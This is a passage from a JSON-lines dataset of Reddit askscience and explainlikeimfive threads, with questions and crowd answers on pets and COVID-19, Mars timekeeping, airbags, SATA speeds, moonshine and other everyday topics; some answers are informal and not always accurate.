"fnh5kov", "fnh6691", "fnh9ouc", "fnhdzzq", "fnhe6b9", "fnhe87i", "fnhes63", "fnhgaee", "fnhgg4x", "fnhh9vw", "fnhhhre", "fnhhpyu", "fnhifjm", "fnhind8", "fnhiryu", "fnhitr2", "fnhizdh", "fnhjj41", "fnhjn3o", "fnhk8ew", "fnhlxw2", "fnhne6d", "fnhpp9l", "fnhs3l3", "fnhvb6g", "fnhvg13", "fnhw2qy", "fnhwne9", "fnhxvhi", "fnhzdfi", "fnhzn8y", "fni04t4", "fni0rkk", "fni0rpy", "fni2678", "fni2o6p", "fni2pf9", "fni2pnb", "fni3olv", "fni6fu8", "fni6l04", "fni8b89", "fni8ec2", "fnia8ii", "fnicdz4", "fnieuw6", "fniftob", "fnigd3p", "fnirvy8", "fnisum9", "fnit2ip", "fniv50u", "fnj8e9m"], "score": [3, 54, 331, 6, 14, 52, 14, 9, 153, 3, 12, 73, 28, 46, 3, 16, 45, 8, 8, 2, 2, 2, 6, 4, 7, 4, 2, 3, 3, 3, 3, 2, 13, 2, 3, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 13, 2, 2, 2, 2, 2, 3, 2, 2, 3, 3, 2, 5, 2], "text": ["Hi!! \ud83d\udc4b\ud83c\udffb\ud83d\udc4b\ud83c\udffb\nNo question- my dog and I are part of your study! Thanks for doing such cool stuff!", "Hey, thank you for your work and for taking the time to do this AMA! So given this record of animals getting infected by being in direct contact with infected humans, do you think we should extend all social distancing measures to pets and animals in general as well - for their sake and for ours?", "Would it be bad for the dogs if I constantly spend time with them now and it abruptly stops when I GM back to my job?", "Thank You for taking the time to answer our questions. Besides a healthy diet and keeping his weight down, what can I do to extend the life of my dog?", "If this infection spreads back and forth among species:\n\n*is this unprecedented in any way?\n*would the same vaccine work across species?\n*what challenges does this present for containment?\n*what controllable differences in cross-species interaction would you recommend?", "What do you think of the paper released yesterday by a University of Ottawa researcher that claims COVID-19 originated in stray dogs that ate scraps of bat meat?\n\n[_URL_0_](_URL_0_)", "\nWill COVID-19 transmit from animal to human? How likely is it? What can I do if it happens?", "Can dogs get coronavirus from humans?", "Does the virus survive on dog fur for any length of time? As a vet tech that's still working with dogs and restraining them everyday, I've wondered what my risk is if I just regard the dog as another surface where the virus can live. Thanks.", "I have a question about the Dog Aging Project- are you still taking enrollment? I have an 11 year old dog that needs to live forever.", "Many people are fostering or buying new pets during this time.  Do you have any advice for foster or new pet owners?", "One test for humans involves sticking a cotton swab up the nose into the sinuses.  How did they test the tiger?", "I\u2019ve read some things online that argue that SARS-Cov2 can transmit from humans to animals, but not from an animal back to humans. \n\nIt seems to me like this is an overabundance of scientific caution because there\u2019s no observational evidence that a human has been infected from an infected animal, but I don\u2019t see a physical reason why this could not happen. \n\nAre there any potential biochemical/molecular biology reasons why virions produced in Species 2 might not be able to infect Species 1 (that can be infected by transmission from their own species, or even other species)? I\u2019m thinking of something like differences in alternative splicing of the transcript that makes the Spike protein (or another protein that\u2019s assembled on the capsid) between species that prevents effective transmission of the virus. \n\nAre there any examples of something like this among other viruses with cross-species transmission in the veterinary world? Where a species produces virions with the same viral genome sequence, but for some reason the virions are different in an important way from virions produced in other species? (Caused by alternative splicing, posttranslational modifications, epigenetic modifications, etc. Something to do with production and assembly of the virion in that species. Anything other than actual mutations in sequence of the viral genome itself).", "What is the best thing we can do to keep our dogs as active as possible as they age? Are there any joint supplements that have been scientifically found to help as a preventive/comfort measure? Anything else you would recommend?", "Hi, are there any Telemedicine platforms you\u2019d recommend for clinics? Looking to implement something safe, efficient and that\u2019ll ensure proper care. Also, for billing and records.\n\nThanks very much.", "Had an interesting conversation with my friend last week about our dogs and public places. \n\nWith regards to dogs being potential carriers, if so, should restrictions on dogs in public places be put in place ? (At cafes/restaurants etc)", "How does one tell when an older dog is getting tired on a walk, especially a breed like labs and other working dogs who just go and go and go?", "1: How much does genotype play a role in dog immunity?  Are there huge differences between breeds?  Are pure or 'line' bred dogs more susceptible to disease in general?\n\n2: Is it true that respiratory diseases in dogs are almost always fatal?  If so, why?\n\n3: Are bronchoscopies ever performed on dogs?\n\n4: How can I get my damn dog to stop barking?\n\n5: Can prolonged periods with owners trigger or generate separation anxiety in dogs?  \n\n6: Generally, for healthy people is there any evidence that close proximity with pets is beneficial or detrimental to the immune system?\n\nEdit: Thank you.", "Something I think about a lot and would like some pros to explain (plus the project name) will we ever be able to reasonably and healthy extend a dogs life? Genetic modification, breeding certain lines, things I'm not aware of, etc. \nWill there ever be a time dogs can have an average life expectancy of 25 for example?\n\nIf this is too off base then please feel free to ignore,", "What are the symptoms in dogs? And, is doggie daycare a possible place of transmission?", "Can it spread from animal to animal or animal to human? Is it lethal to these animals?", "Are dogs fomites for COVID-19?", "I have a service dog, but we are both at home quarantined. What\u2019s a good way to help keep up her training on ignoring distractions without public spaces, people, or other dogs around?", "Is there an ETA for when you are going to start collecting data for the project?\n\nOr have you started? I signed up in November, but have only been getting newsletters, nothing about setting anything else up.", "I signed my dog up for your project. He is almost ten and his old age, even for a small dog is becoming more apparent. Should I be keeping any kinds of records, for our use or for yours if he becomes part of a study?\n\nThanks for doing this - dogs are life!", "Are there any methods outside of standard healthy living I can take with my dog to give him the longest and best life possible?", "Hello, clinical vet student here. My questions are:\n\n-\tHave we observed any mutants or new varieties of the virus that demonstrate an increased ability to infect animals?\n-\tHow do you think a discovery that the virus can be transmitted animal-to-human will play out given that right now we are seeing such low risk (if any)? We have already had people requesting to euthanize their pets before these reported cases, and I fear that this will create more panic and requests. How would you advise clients if this becomes true?\n\nThank you!", "How are advances in genomics technology and the development of new genomics tools changing how you are looking at canine aging and which new tools/technologies are you most excited about", "Are dogs really capable of dreaming when they sleep?", "I thought that the Dog Aging Project and the study of dog aging started at least a few years ago?", "My Jack Russell Terrier is about 10 years old.  JRTs generally live 13-16 years. Mathematically, he's about 60 in \"dog years\", yet he still has the energy and curiosity of a much younger dog. \n\n1. I suspect the whole \"dog years\" thing is at best a gross oversimplification, and at worst a total myth. Is it?\n2. How much longer do you think dogs would live if they got the same healthcare humans get?", "Do you think pets such as rabbits, guinea pigs and hamsters would be a likely affected?", "I have a Saint Bernard puppy that must get to the bark park or she looses her mind. The people practice social distancing there, but no one can resist petting her. If this safe for her? Is it safe for us to pet her afterward?", "Hello! I attended a talk with Professor Kaeberlein a couple months ago so it was super interesting to see this pop up! This may not be related, but I was wondering is there any research currently being done regarding the SARS-CoV-2 and dogs at the University of Washington? And if so, are there any positions open for undergrads? I\u2019m finding all of this really fascinating!", "What do you think impacts of longer dog healthspans could be on dog ownership rates? How about on the environment?", "What should I do if my dog or my cat ( I have both) develop COVID symptoms and what signs should I look for? What  treatment options do I have at home and what options my Vet or Vet-Clinic can offer? \n\nThank you!", "How quickly do dogs learn their name?", "Given the current stay-at-home orders during the lockdown we still need to take our dogs for their walk (mine just won\u2019t do anything indoors). I\u2019m avoiding having him mingle/play with other dogs and being pet by people around where I live. Is this precaution worth taking? My wife is paranoid that if someone with COVID-19 pets our dog and we pet/hug him at home (especially kids) we may contract it. What is the current state of knowledge in this regard and how should we be safe when walking our dogs outside?", "Thanks for hosting us, /r/AskScience!\n\nWe're looking forward to a good conversation today. Our doctors will join soon at 11am PDT to answer questions, but, first, they wanted to say hello!\n\n[Meet Dr Creevy and Poet](_URL_1_).\n\n[And this is Dr Ruple with Bitzer saying hi on Twitter](_URL_0_). \n\nDoctors will sign each answer with their name.\n\n\\-- Dog Aging Project Support Team", "Early on people were claiming dogs could not be spreaders of the disease but the research mentioned in this article\n\n_URL_0_\n\nindicated they potentially could have played a role in the new coronavirus becoming transmitted to people, at least initially.\n\nSeeing as how in the US, there aren't enough tests for people, let alone dogs, how hard will it be to study the novel coronavirus in dogs and how their interaction with humans and human environments might play in the pandemic? Do you expect pro-dog chauvanism by owners will pose a serious obstacle in preventing recurrent outbreaks if more evidence appears supporting dogs having a role in spreading the disease?\n\nEdit: hit post too soon", "What's the difference between a medical swab for testing  &  a cotton swab I can / could buy at the grocer?", "How long do Mexican Street dogs live?", "Do some dog breeds have a natural immunity to this and other Corona type viruses?", "Has it been done already or are there any plans to sequence the genome of the specific viruses that infected those animals to check for any particular mutations that may have allowed them to \u201cjump species\u201d (or mildly infect the animals)?", "Would dropping a dog off at the vet right now (through a curbside no-contact transfer) put the dog owners at risk of getting COVID-19?  I\u2019m not necessarily referring to dog to human transmission, but rather the case of COVID-19 particles potentially being picked up on the coat of the dog from the visit and being transferred to a human later?", "Are dogs who are at high risk being tested for COVID?  If not, what data are we drawing conclusions on?  Thank you.", "We received a question in /r/dogs, where this AMA was crossposted. /u/agawl81 asks:\n\n > Should we be delaying preventative vet care (neutering, shots, annual checkup for flea and heart worm meds) until the emergency is over? I saw somewhere that this may last into 2021 or later.\n\nMany veterinarians are limiting visits to emergency or urgent only until the peak period of infection passes and/or are asking that the pet be dropped off so as to minimize human-human contact. We encourage you to contact your veterinarian to determine how urgent your dog\u2019s visit is and what precautions the clinic is taking.\n\n\\-- Dr. Tolbert", "How are the reported animals in your post doing now?\n\nAre they acting normal, or are they visually sick? How did their humans know they were sick?", "My partner, a vet, said that these cats only test positive because they were tested with cheek swabs - the virus existed in their saliva, but they weren't actually infected (the virus wasn't in their blood, it wasn't replicating, and most importantly, they couldn't infect humans).\n\nIs that at all accurate? I'm a physicist, so I don't know!", "Why is the dog aging project not trying senolytics like the dasatinib + quercetin combo that has been shown to reduce senescent cells in humans?", "How accurate is the SARS-CoV-2 test? How has the accuracy been determined?", "What are the symptoms seen in cats for COViD-19?", "Should we be concerned about feral cat populations spreading the virus, inducing a second wave of human infections?", "What's your opinion on dog grooming salons operating during the pandemic? I'm a dog groomer and this is being pretty hotly debated, so I was wondering what you, as medical professionals think.", "Pet grooming is currently deemed non essential in many states. When do you think it will become essential for their health and safety? And what can we as groomers do to protect ourselves and our (human) clients?", "Do you think it's possible for dogs to be used/trained to detect COVID19? If so, would it be safe?", "What do you consider the most impactful studies regarding practices that ameliorate aging and disease such as cancer in dogs?", "Besides taking him out to the bathroom, should I not do a lot with him outside? And is it ok to get him a haircut at our local petco?", "Is there any difference in COVID risk between dolichocephalic and brachycephalic breeds?", "Not COVID related but was a topic of discussion at my uni recently, what are your thoughts of CBD treatment for aging dogs to help with osteoarthritis, inflammation or even anxieties?"]}, "title_urls": [], "selftext_urls": ["https://dogagingproject.org/human-to-animal-transmission-of-sars-cov-2/", "https://dogagingproject.org/dogs-and-covid-19-what-we-know-and-what-we-dont/", "https://www.cdc.gov/coronavirus/2019-ncov/faq.html#animals", "http://www.dogagingproject.org/", "http://www.dogagingproject.com/", "dogagingproject.org", "https://www.oie.int/en/scientific-expertise/specific-information-and-recommendations/questions-and-answers-on-2019novel-coronavirus/", "https://twitter.com/DogAgingProject/status/1249759591648448516", "dogagingproject.com", "https://www.idexx.com/en/veterinary/reference-laboratories/coronavirus-diagnostic-update/"], "answers_urls": [[], [], [], [], [], ["https://academic.oup.com/mbe/article/doi/10.1093/molbev/msaa094/5819559"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://twitter.com/DogAgingProject/status/1249759591648448516", "https://twitter.com/DogAgingProject/status/1250429151363731464"], ["https://medicalxpress.com/news/2020-04-evidence-stray-dogs-sars-cov-pandemic.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "butkio", "title": "Will age/time work differently for a colony on Mars than it would on Earth/would a person be younger/older on one versus the other?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/butkio/will_agetime_work_differently_for_a_colony_on/", "answers": {"a_id": ["ephemo4", "ephi7up", "epikv1m", "episbvn", "epj5yh3", "epj6xyg", "epj80oh", "epj80w7", "epk3vmy"], "score": [280, 20, 26, 2, 2, 3, 8, 2, 2], "text": ["In terms of physics, no, not really.\n\nTo get the type of time dilation effects you saw in Interstellar, you need either extremely huge speeds, or extremely strong gravitational fields. The gravity of the Sun and planets is too small for this effect to be significant, and the planets are moving too slowly (relative to each other) for their speed to be significant either. You get a very small effect, but you'd need atomic clocks to notice the difference - although it matters for some technical applications, like getting GPS satellites to be perfectly accurate.\n\nIn terms of *biology*, this is outside my domain of expertise, but there might be a different rate of \"ageing\" in terms of how your body changes over time in a different gravitational field, but that's not time itself being different. And in terms of *society*, Mars could develop an independent clock and calendar with its different day  &  year lengths. But if you're talking about a real physical difference in the rate of time passing, this would be insignificantly small.", "Well a Martian day is about forty minutes longer than an Earth one, and a year is closer to double. So in terms of how many times around the sun, as a way of measuring age, Martians would be younger than a person born at the same time when measured by their calendars years.", "From a biological perspective, the lower gravity on Mars may lead to less strain on the heart.  Conceivably that could lead to a longer biological age, maybe up to 120 which seems to be some sort of hard limit on human aging.  But since Mars doesn't have a breathable atmosphere or a temperature range that we're comfortable with or protection from solar or cosmic radiation you're much more likely to die of an accident or cancer before reaching a ripe old age.  I think that very few would reach old age before misadventure or cancer cut them short.\n\nA child born on Mars would grow to be taller than one born on Earth, over 6 feet would be the norm.  But their bones would be much more fragile.  They would likely never survive beyond a month or so if they were brought to Earth, their bones, heart, etc would all be adapted to lower gravity.  The bones will slowly strengthen with time, but their heart is more likely to swell and fail than to strengthen.\n\nPhysically, the relativistic effects of the lower gravity on Mars will cause them to age very, very slightly faster.  I'm talking a few seconds over a lifetime.  Time is affected by gravity, but the difference in gravity between Earth and Mars isn't large enough to cause a huge difference.  Back-of-the-envelope calculations here are showing a difference of half a second per Earth year.  So in 40 years on Earth a Martian would instead be 40 years and 20 seconds old.\n\nThe Martian day is 37 minutes longer than an Earth day.  The martian year is 687 Earth days long (slightly less in Martian days).  So a 40 year old on Earth would only be 21.27 Martian years old. \"Yay, I'm 40, I'm finally old enough to drink on Mars!\".  Of course they'd need a new calendar and clock.", "You will live the same total number of earth days/hours etc.\n\nAlthough if you used the time on a world spinning faster, you could say \"I have more birthdays\", the gap between each birthday would be shorter.\n\nsort of like saying 1 human year = 1 dog year.", "It depends on what you mean.\n\nWhat does it mean to \"age\" by a year? On Earth, it means to live 365 days, when Earth has made a full rotation around the Sun.\n\nOn Mars, a full rotation around the Sun is 687 days, meaning that a \"year\" on Mars would be almost twice the time on Earth.\n\nSo, do you consider yourself a year older if you've been on Mars for 365 days? But, wait, remember that a \"day\" on Mars is 1 day and 37 minutes on Earth. So you'd have to go by Earth \"days.\"\n\nA second is a second, generally, no matter where you are. So you could always time things with an atomic clock. When that clock passed 365 Earth days, then you could consider yourself a year older.", "All units of time, whether natural like days or years or convetioanl like weeks, have an abritrary numbering and naming. So a person will be a certian number of \"standard years\" ( a word some s-f- writers use)  equal tot eh number of times thye ahve lived for the number of seconds contianed in a n Earth year. Datign systems bas3ed on the eyars of othe rplanets or anythign else simply have a different number on them", "An interesting look into this is from The Expanse book series. They describe how people born on other planets with varying gravitational fields etc. \"Belters\" who were born and raised on the astroid belts, are very tall, long limbs, lanky etc. while the \"Earthers\" are shorter, stalkier, etc. It's an interesting read, i recommend at least reading about how these groups of people may differ in some future timeline.\n\n & #x200B;\n\nthis is from the wiki page :\n\n & #x200B;\n\n & #x200B;\n\n\"Humans born in the Belt are taller and thinner than those on Earth and Mars, standing 2-2.5 meters tall, and have brittle bones from growing up in low gravity. As a consequence, they cannot survive in Earth's gravity for very long. However, Belters recover faster than Earthers after periods of high-G. These physical differences along with cultural and language difference cause Belters to be dehumanized and regarded as second-class citizens by many Earth and Mars residents, since they superficially seem to be a deviation from the species norms of humans.\"", "Since Mars has lower gravity, you would age faster, though the effect is incredibly slight. You'll probably \"age\" slower, as in you'll experience the ails of aging less due to lower gravity, but die \"younger\" due to the radiation and the lower gravity actually weakening your body quite significantly.", "Overall, some age related effects are likely to arrive sooner due to the higher levels of cosmic rays and other background radiation there, and also the reduced gravity. Loss of bone density may be an issue, as well as low blood cell count, heart or kidney disease, etc. Some types of cancer may become more likely.\n\nThat is to say, the progression of ageing may be slightly faster.\n\nThe length of days on Mars is 24 hrs 37 minutes, but Mars' orbital period is about 687 terrestrial days. \n\nSo, being 40 years old on Mars would be a pretty good deal, if reckoned by mars solar years.\n\nNeither of these have anything to do with the progression of actual time (indicated by clocks) happening faster.\n\nThere is a very tiny difference in time progression due to the effect of gravitational time dilation. This is due to the Principle of General Relativity.  Because the gravity of Mars is different than that of earth and Mars being father from the sun. This is so small that's it could only be measured with very precise atomic clocks. It would amount to the order of than a second in an 80 year lifespan, or less than 1 part per billion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "berhow", "title": "how do airbags \"know\" when to go off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/berhow/eli5_how_do_airbags_know_when_to_go_off/", "answers": {"a_id": ["el80spa", "el84ruq", "el9f6u1"], "score": [7, 5, 3], "text": ["There is a sensor somewhere in the car that can measure how much force is applied when decelerating rapidly. When the car stops with a large enough force, the airbag goes off.", "The airbags in a vehicle are controlled by a central airbag control unit (ACU), a specific type of ECU. The ACU monitors a number of related sensors within the vehicle, including accelerometers, impact sensors, side (door) pressure sensors, wheel speed sensors, gyroscopes, brake pressure sensors, and seat occupancy sensors. Once the requisite threshold has been reached or exceeded, the airbag control unit will trigger the ignition of a gas generator propellant to rapidly inflate the bag.", "So far the answers are: a highly complex sensor suite and software, a single accelerometer, and a $0.10 SPST switch bolted to the bumper. Perfect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1nopro", "title": "Is it possible to train your brain to have faster reaction times?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nopro/is_it_possible_to_train_your_brain_to_have_faster/", "answers": {"a_id": ["ccklafz", "cckz6d3", "ccl678m"], "score": [2, 3, 2], "text": ["This doesn't cover improvement (it might come down to genetics), but here is data for the fastest of the fast:\n\n_URL_0_\n\n**TL;DR Best Sprinters (which is highly determined by reaction time) have 166ms for males, 176ms for females**", "Call me out on this if I'm wrong, since I'm basing this on old information and fundamental neural mechanism.\n\nAt its core, reaction time can be broken down into a few components. Input to brain, processing and selection of response and finally signal that causes the response. For the first and the last, the timing is limited by a hard physiochemical limit, that is the nerve-nerve signaling and the action potential contained within the individual neuron itself. This, afaik, is relatively static, and unlikely to change with time.\n\nThe second is more simple, time to analyze and decide is highly experience based, and sufficient repetition is likely to increase such reaction times to a certain extent, though not beyond the fundamental limits imposed by the system.", "Your reaction time to what?  Regardless, yes, it's possible.  One of the things to be aware of is that there's ultimately a trade-off between speed an accuracy, so past a certain point, your speed will improve, but you'll be false-alarming a lot as well.  Video games are frequently used for this kind of training.  Here's one of many such studies:  _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/22739331"], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2896820/"]]}
{"q_id": "1lg1iu", "title": "why is the ace of spades so significant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lg1iu/eli5_why_is_the_ace_of_spades_so_significant/", "answers": {"a_id": ["cbyvbfx"], "score": [11], "text": ["From Wikipedia:\n\nAt least in English-speaking countries, the ace of spades (also known as the spadille) is traditionally seen as the highest card in the deck of playing cards, although the actual value of the card varies from game to game. In popular myth and folklore, it is also known as the \"death card.\"\n\nThe ornate design of the ace of spades, common in packs today, stems from the 17th century, when James I and later Queen Anne imposed laws requiring the Ace of Spades to bear an insignia of the printing house."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35lu2j", "title": "why is the sata iii standard (6 gb/s) needed if standard r/w speeds are much lower?", "selftext": "Seems like SATA I hasn't even been caught up with yet", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35lu2j/eli5_why_is_the_sata_iii_standard_6_gbs_needed_if/", "answers": {"a_id": ["cr5kw15", "cr5l8k9"], "score": [11, 26], "text": ["Because you can have multiple drives on a SATA host. It doesn't matter much if you have a single drive, but if you have several drives, you'll need a faster bus speed to avoid becoming I/O bound.", "You have to note that 6Gb/s stands for Gigabit per second, not Gigabyte (the one we are accustomed). \n\nIf you do the conversion of Gigabit to Megabytes, you will see that 6Gb is close to 700MB. On Wikipedia there's a better conversions of this [Wikipedia](_URL_0_) and you can see that this translates to 600 MB/s.\n\nPersonal SSDs are not far away from getting to that speed. For example, Samsung 850 EVO have read speed near 540MB/s. If you think about Enterprise SSDs, maybe they are even faster (I never seen one, so I can't say for sure)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Serial_ATA#SATA_revision_3.0_.286_Gbit.2Fs.2C_600_MB.2Fs.29"]]}
{"q_id": "4mj2ey", "title": "what are the \"means of production\" in socialist theory applied to a post-industrial economy such as the uk?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mj2ey/eli5_what_are_the_means_of_production_in/", "answers": {"a_id": ["d3vveik", "d3vwglr", "d3w125v", "d3w29nz", "d3wlqri", "d3xq9ua"], "score": [6, 12, 3, 8, 3, 2], "text": ["If you don't get a good answer here, you might want to check out /r/socialism101 or /r/communism101 - they seem to be fairly active subs that are focussed on the subject.\n\nAs always, make sure to search before posting.", "Means of production is just a society's ability to produce (things of) value. Everything from ideas to resources to individual effort is part of the collective \"means of production.\"\n\nI'd say it's about the same; however globalization is  reducing geographical limits on Means of Production.", "Yeah, when Marx was seeing the effects of the industrial revolution \"the means of production\" was the factories.   Where industry happened.  \n\nIt really just means anything and everything that makes money.\n\nNow that we're in the middle or tail end if the computer and internet revolutions it's should probably have a bigger focus on robots, servers, and telecommunication lines. \n\nThat includes giant combines on farms, the hoover dam, blizzard and Amazon servers. Things like eBay, Google search, and uber. ", "Even a hypothetical post-scarcity society where just about everything is automated would have machinery, land, robots, etc. that are used to make stuff.  Those things are the means of production.\n\nIf ownership (specifically the ability to control) these things isn't equal, that will create an opportunity for the owners' greed to hurt the non-owners.\n\nOr, what use is a factory where nobody has to work if you need a job to buy its products?", "As a socialist:\n\nMeans of production is a term leftists use to refer to things that directly create tangible products (like a shoe factory)\n\nBasically what you would call Productive Property.\n\nSocialists don't care about personal property (TV, car, house, frosted flakes) because it's not productive.", "Theoretically it's just everything needed to provide for a society and make money. While it's easiest to understand with factories or farmland, it can be applied to pretty much anything, even in a service economy.\n\nA store, for instance, might not seem like it's productive, but what it represents- the brick and mortar building it's made in, the register, counter, shelves, inventory system, etc, and most importantly the distribution system that links it to the producers- those could all be considered means of production.\n\nIn today's more technological economy, you could probably add in a bunch of stuff like server space, bandwidth, and even intellectual property and the means to create it.\n\nAs long as you have a case where someone who owns something hiring someone to do work with those things, then you have the situation Marx was talking about, and theoretically could simplify things by cutting out the middleman and letting the worker own what he's using."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8b9ftb", "title": "when someone describes a pickup as \"1/2 ton\" or \"3/4 ton\", what does that mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8b9ftb/eli5_when_someone_describes_a_pickup_as_12_ton_or/", "answers": {"a_id": ["dx4xkxf"], "score": [5], "text": ["they don't mean much today.  but back in the day, it was their towing capacity.  \n\ntoday, they're just a general classification.  meaning full ton can tow more than 3/4 ton can tow more than 1/2 ton.  \n\nthere's really no standardization for what these mean.  \n\nit's like a compact, midsize, full size sedan.  you just know that one is bigger than the other, generally.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3t7mj1", "title": "what is exactly moonshine and why it's forbidden in usa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3t7mj1/eli5_what_is_exactly_moonshine_and_why_its/", "answers": {"a_id": ["cx3saho", "cx3scfw", "cx3smb1", "cx3ytlh", "cx3zf08", "cx46kx4"], "score": [7, 20, 3, 2, 2, 2], "text": ["Moonshine is specifically a corn-based distilled alcohol.\n\nAll home-brewed distilled alcohols are illegal in america because it's unfortunately fairly easy to produce methanol in the process. Methanol, unlike ethanol, is very dangerous.", "Well, it's kinda, sorta, not forbidden.\n\n\"Moonshine\" it it has been thought of in the past is a usually high alcohol, sometimes neutral grain spirit (like Vodka) that is made by \"amateurs\" in usually homemade stills.\n\nIn that form, it's illegal because distillation is regulated by the government -- you can't set up a still to make hard liquor without a license.  Why? Because (a) if you distill incorrectly, the alcohol could be potentially dangerous to drink.  (b) If you still still incorrectly, there's a chance the whole thing could combust in a fiery inferno.  (c) The government levies taxes and duties on spirits, and homedistilling without a license avoids those taxes.  (d) The government wants to control the amount of liquor made and sold, and wants to separate the producer from the sellers and consumers (for odd, but maybe valid, commercial reasons).  \n\nThese days, many legit spirits makers are now creating a \"moonshine\" for legal, public consumption.  It's often sold in mason jars (to make it look old timey and illicit), and it can taste as nasty as the original to kind-of, okay light whiskey or neutral grain spirits.  (Often modern moonshine is infused with fruit or other flavors to make it more palatable, or more interesting).\n\n_URL_0_", "The word \"moonshine\" is used in two different ways:\n\n1. Any homemade whiskey, which is illegal because a) it can contain poisonous methanol if not done right; and b) it's an important source of federal tax revenue, and thus illegal to make without a license.\n2. A clear whiskey made from corn.  There are a [handful of distilleries](_URL_0_) that make legal moonshine.  ", "[\"So, what is moonshine? Moonshine is any distilled spirit, regardless of type, that is made by an unregistered distillery. Unregistered means illegal, underground, off-the-grid. It is illegal to distill alcohol without registering and obtaining a license, even at home just for fun...*Moonshine just means the spirit was illegally made. Moonshine is not a type of spirit. Many people think it is un-aged corn whiskey and the people who make un-aged corn whiskey don't exactly discourage that misconception. They go along because of moonshine's romantic associations.*](_URL_0_)", "It's just alcohol that is distilled to a point where it is 90% (?) pure or more... Not sure of the official percentage or if there even is one. It's called \"moonshine\" because, since it's illegal, it's usually made out in the forest, at night by the light of the moon...hence \"moonshine\"\n\nAs far as \"distilled to 90%\", you can just think of that as removing water from it until it is 90% pure.  So... As an example, take beer... It's only 5% alcohol... Well, if you evaporate the water out of it until only 10% water was left and the rest was alcohol, you'd essentially have moonshine... At least that's how you can think of it.\n\nAs far as why it's illegal... Mainly 3 reasons: First one being that a byproduct of making it is ethanol.  Ethanol can make you go blind or kill you, so if you get a bad batch and someone doesn't know what they're doing... It's goodnight.  Also, it's unregulated, so you have no idea what's in it! There are many news story of some scumbag making it and then mixing it with something dangerous so he can sell more, and it ends up killing people.  And third is taxes... Ain't no fun if the gov't can't have none!", "It's legal to produce here and I've distilled a 92% spirit myself so wanted to chime in on the methanol argument. If you have a proper still setup and monitor the temperature then only the first 50ml should be producing methanol If that's in a 3 litre batch diluted to over 6 litres of 40, then it is still a small percentage..enough to make you sicker/more hungover but not enough to make you literally go blind. The concept that moonshine has enough methanol to make you go blind comes from back in the prohibition days when people would literally cut their booze with methanol in order to sell more (think like cocaine with baking soda..). However, ingesting undiluted spirit will burn you and fuck you up too.\n\nProperly distilled moonshine can and does have a lower percentage of methanol than any commercial spirit when done correctly, this is to do with how spirits are commercially produced.\n\n1. It is still pretty poisonous\n2. Homemade stills can be dangerous primarily because a leak of alcohol fumes makes for some pretty flammable air.\n3. It can be produced quicker and easier than other alcohols and does not need the bottle conditioning of beer..thus why it's famous for being contained in jars (it's also the strength of an industrial cleaner, and distilling removes impurities so you don't need to pay as much attention to hygiene) so you can mass produce it a lot easier if you have a still. If you know your recipe you can get a batch of about 7 litres of 40% made for about $5. So YES it does have an effect on taxation. Beer ingredients will still be subject to a fair amount of GST compared to bread yeast, tomato paste and a big bag of plain sugar.\n\nI believe it is still legal in the US to own a still for the production of biofuels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Moonshine"], ["http://www.southernliving.com/travel/best-legal-moonshine"], ["http://chuckcowdery.blogspot.com/2008/08/truth-about-moonshine.html"], [], []]}
{"q_id": "9tupre", "title": "how is youtube ripping off of youtubers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tupre/eli5_how_is_youtube_ripping_off_of_youtubers/", "answers": {"a_id": ["e8z8bj2", "e8z8jwz", "e8z941b", "e8zayne"], "score": [90, 62, 7, 11], "text": ["By letting corporations claim a ten minute video for having a three second clip of theirs in the video. ", "There are 2 main things they\u2019ve done recently:\n\n1. They have added a bot that automatically goes through any uploaded video, and determine whether it\u2019s \u201csuitable for advertisers\u201d.  Usually the bot determines that it isn\u2019t, so that means there are no ads on the video and the uploader can\u2019t make money. You can manually appeal this, but it\u2019s a pain. There are also many cases where a YouTuber uploads a video as private, appeals it, gets ads on it, then makes it public only for the video to go back to no ads.\n\n2. They\u2019ve recently implemented a change where any racist/homophobic/etc donations to people live-streaming on YouTube will not go to YouTube or the youtuber, but instead donated to charity. This is really weird because the streamer doesn\u2019t really care if they get called whatever slur as long as the guy paid money to call him it. Plus, it\u2019s not like taking the money away will just make the whole incident disappear. People are really confused on why they did this one.", "There's many reasons. The main reason is due to demonetization of certain videos. Youtube is almost 100% automated by an algorithm. Although usually \"pretty\" accurate, there's mistakes with it and recently the algorithm has been bad.\n\nYouTube makes all of their revenue from advertising that shows up on videos. Content creators get a small cut of that. Usually less than they deserve, but that's capitalism and no one can really complain since Youtube is a monopoly.\n\nThe recent issue is this: certain advertisers don't want their brand being represented on questionable videos. For example, Coca Cola doesn't want their ads on a white supremacist video. That's fine and understandable. So YouTube will make those videos not be marketed. However, when that gets entered into the algorithm, rather harmless videos end up getting demonitized. If your video is titled \"Why I hate 